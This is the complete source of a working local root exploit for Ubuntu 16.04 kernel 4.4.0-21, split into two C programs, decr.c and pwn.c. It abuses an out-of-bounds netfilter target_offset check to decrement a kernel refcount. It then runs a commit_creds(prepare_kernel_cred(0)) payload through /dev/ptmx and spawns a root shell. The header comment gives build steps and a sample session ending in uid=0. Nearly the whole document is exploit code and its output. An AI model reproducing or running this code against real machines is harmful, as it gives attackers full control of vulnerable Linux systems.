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--------------------------------------------------- decr.c ---------------------------------------------------
/**
* Ubuntu 16.04 local root exploit - netfilter target_offset OOB
* check_compat_entry_size_and_hooks/check_entry
*
* Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
*
* Vitaly Nikolenko
* vnik@cyseclabs.com
* 23/04/2016
*
*
* ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
* automatic loading).
*
* vnik@ubuntu:~$ uname -a
* Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
* vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
* vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
* vnik@ubuntu:~$ ./decr
* netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
* [!] Decrementing the refcount. This may take a while...
* [!] Wait for the "Done" message (even if you'll get the prompt back).
* vnik@ubuntu:~$ [+] Done! Now run ./pwn
*
* vnik@ubuntu:~$ ./pwn
* [+] Escalating privs...
* root@ubuntu:~# id
* uid=0(root) gid=0(root) groups=0(root)
* root@ubuntu:~#
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MALLOC_SIZE 66*1024
int check_smaep() {
FILE *proc_cpuinfo;
char fbuf[512];
proc_cpuinfo = fopen("/proc/cpuinfo", "r");
if (proc_cpuinfo < 0) {
perror("fopen");
return -1;
}
memset(fbuf, 0, sizeof(fbuf));
while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
if (strlen(fbuf) == 0)
continue;
if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
fclose(proc_cpuinfo);
return -1;
}
}
fclose(proc_cpuinfo);
return 0;
}
int check_mod() {
FILE *proc_modules;
char fbuf[256];
proc_modules = fopen("/proc/modules", "r");
if (proc_modules < 0) {
perror("fopen");
return -1;
}
memset(fbuf, 0, sizeof(fbuf));
while(fgets(fbuf, 256, proc_modules) != NULL) {
if (strlen(fbuf) == 0)
continue;
if (!strncmp("ip_tables", fbuf, 9)) {
fclose(proc_modules);
return 0;
}
}
fclose(proc_modules);
return -1;
}
int decr(void *p) {
int sock, optlen;
int ret;
void *data;
struct ipt_replace *repl;
struct ipt_entry *entry;
struct xt_entry_match *ematch;
struct xt_standard_target *target;
unsigned i;
sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
perror("socket");
return -1;
}
data = malloc(MALLOC_SIZE);
if (data == NULL) {
perror("malloc");
return -1;
}
memset(data, 0, MALLOC_SIZE);
repl = (struct ipt_replace *) data;
repl->num_entries = 1;
repl->num_counters = 1;
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
repl->valid_hooks = 0;
entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
entry->target_offset = 74; // overwrite target_offset
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
strcpy(ematch->u.user.name, "icmp");
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
uint64_t *me = (uint64_t *)(kmatch + 0x58);
*me = 0xffffffff821de10d; // magic number!
uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
*match = (uint32_t)kmatch;
ematch->u.match_size = (short)0xffff;
target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
uint32_t *t = (uint32_t *)target;
*t = (uint32_t)kmatch;
printf("[!] Decrementing the refcount. This may take a while...\n");
printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
for (i = 0; i < 0xffffff/2+1; i++) {
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
}
close(sock);
free(data);
printf("[+] Done! Now run ./pwn\n");
return 0;
}
int main(void) {
void *stack;
int ret;
printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
if (check_mod()) {
printf("[-] No ip_tables module found! Quitting...\n");
return -1;
}
if (check_smaep()) {
printf("[-] SMEP/SMAP support dectected! Quitting...\n");
return -1;
}
ret = unshare(CLONE_NEWUSER);
if (ret == -1) {
perror("unshare");
return -1;
}
stack = (void *) malloc(65536);
if (stack == NULL) {
perror("malloc");
return -1;
}
clone(decr, stack + 65536, CLONE_NEWNET, NULL);
sleep(1);
return 0;
}
--------------------------------------------------- pwn.c ---------------------------------------------------
/**
* Run ./decr first!
*
* 23/04/2016
* - vnik
*/
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
void __attribute__((regparm(3))) privesc() {
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
int main() {
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
assert(payload == (void *)MMAP_ADDR);
void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
memset(shellcode, 0, 0x300000);
void *ret = memcpy(shellcode, &privesc, 0x300);
assert(ret == shellcode);
printf("[+] Escalating privs...\n");
int fd = open("/dev/ptmx", O_RDWR);
close(fd);
assert(!getuid());
printf("[+] We've got root!");
return execl("/bin/bash", "-sh", NULL);
}
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